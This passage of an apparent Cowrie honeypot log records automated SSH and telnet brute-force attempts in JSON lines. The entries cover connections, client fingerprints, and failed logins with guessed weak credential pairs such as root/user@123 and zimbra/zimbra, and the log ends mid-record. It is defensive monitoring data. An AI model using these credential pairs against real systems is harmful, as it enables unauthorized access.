{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:51.235304Z","src_ip":"45.156.87.254","session":"f7d31c2d0584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:51.456391Z","src_ip":"186.30.115.187","session":"8e065aefb6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdaedb423f9b","protocol":"ssh","message":"New connection: 185.16.214.226:40124 (10.17.0.5:22) [session: fdaedb423f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:52.091215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:52.096106Z","src_ip":"185.16.214.226","session":"fdaedb423f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:52.225838Z","src_ip":"185.16.214.226","session":"fdaedb423f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:52.545362Z","src_ip":"45.156.87.254","session":"f7d31c2d0584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:52.776533Z","src_ip":"185.16.214.226","session":"fdaedb423f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:53.910210Z","src_ip":"185.16.214.226","session":"fdaedb423f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"05dbdc824ebd","protocol":"telnet","message":"New connection: 104.245.105.2:39186 (10.17.0.5:23) [session: 05dbdc824ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:54.253624Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40702,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a83ac66591f","protocol":"ssh","message":"New connection: 45.156.87.254:40702 (159.203.135.109:22) [session: 7a83ac66591f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:55.802460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:55.807531Z","src_ip":"45.156.87.254","session":"7a83ac66591f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:55.893139Z","src_ip":"45.156.87.254","session":"7a83ac66591f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:56.148844Z","src_ip":"45.156.87.254","session":"7a83ac66591f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:57.301407Z","src_ip":"45.156.87.254","session":"7a83ac66591f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36024,"dst_ip":"159.203.135.109","dst_port":22,"session":"3160604df36a","protocol":"ssh","message":"New connection: 45.156.87.254:36024 (159.203.135.109:22) [session: 3160604df36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:00.826662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:00.831855Z","src_ip":"45.156.87.254","session":"3160604df36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:00.918789Z","src_ip":"45.156.87.254","session":"3160604df36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:01.175377Z","src_ip":"45.156.87.254","session":"3160604df36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:02.452557Z","src_ip":"45.156.87.254","session":"3160604df36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41608,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a2af073c83","protocol":"telnet","message":"New connection: 20.123.41.163:41608 (10.17.0.5:23) [session: 22a2af073c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:05.109041Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36032,"dst_ip":"159.203.135.109","dst_port":22,"session":"61affa67ade8","protocol":"ssh","message":"New connection: 45.156.87.254:36032 (159.203.135.109:22) [session: 61affa67ade8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:05.924779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:05.931165Z","src_ip":"45.156.87.254","session":"61affa67ade8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:06.014189Z","src_ip":"45.156.87.254","session":"61affa67ade8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:06.265705Z","src_ip":"45.156.87.254","session":"61affa67ade8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:07.459833Z","src_ip":"45.156.87.254","session":"61affa67ade8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42092,"dst_ip":"159.203.135.109","dst_port":22,"session":"37a13db5af93","protocol":"ssh","message":"New connection: 45.156.87.254:42092 (159.203.135.109:22) [session: 37a13db5af93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:10.937113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:10.942635Z","src_ip":"45.156.87.254","session":"37a13db5af93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:11.025960Z","src_ip":"45.156.87.254","session":"37a13db5af93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:11.281091Z","src_ip":"45.156.87.254","session":"37a13db5af93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:12.375391Z","src_ip":"45.156.87.254","session":"37a13db5af93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42108,"dst_ip":"159.203.135.109","dst_port":22,"session":"80a856efd9f7","protocol":"ssh","message":"New connection: 45.156.87.254:42108 (159.203.135.109:22) [session: 80a856efd9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:15.989943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:15.998293Z","src_ip":"45.156.87.254","session":"80a856efd9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:16.091967Z","src_ip":"45.156.87.254","session":"80a856efd9f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:16.355239Z","src_ip":"45.156.87.254","session":"80a856efd9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:17.443871Z","src_ip":"45.156.87.254","session":"80a856efd9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.996895790100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:19.985410Z","src_ip":"104.245.105.2","session":"12398947eae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60924,"dst_ip":"159.203.135.109","dst_port":22,"session":"0555b11830c3","protocol":"ssh","message":"New connection: 45.156.87.254:60924 (159.203.135.109:22) [session: 0555b11830c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:21.040995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:21.046124Z","src_ip":"45.156.87.254","session":"0555b11830c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:21.133724Z","src_ip":"45.156.87.254","session":"0555b11830c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:21.382551Z","src_ip":"45.156.87.254","session":"0555b11830c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:22.469059Z","src_ip":"45.156.87.254","session":"0555b11830c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"e570edb006e8","protocol":"telnet","message":"New connection: 104.245.105.2:56166 (10.17.0.5:23) [session: e570edb006e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:22.638559Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56162,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c5f40c8dd5","protocol":"telnet","message":"New connection: 104.245.105.2:56162 (10.17.0.5:23) [session: 54c5f40c8dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:23.632038Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60930,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3c77661384","protocol":"ssh","message":"New connection: 45.156.87.254:60930 (159.203.135.109:22) [session: df3c77661384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:25.965501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:25.970671Z","src_ip":"45.156.87.254","session":"df3c77661384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.724591970443726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:25.978095Z","src_ip":"104.245.105.2","session":"05dbdc824ebd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hm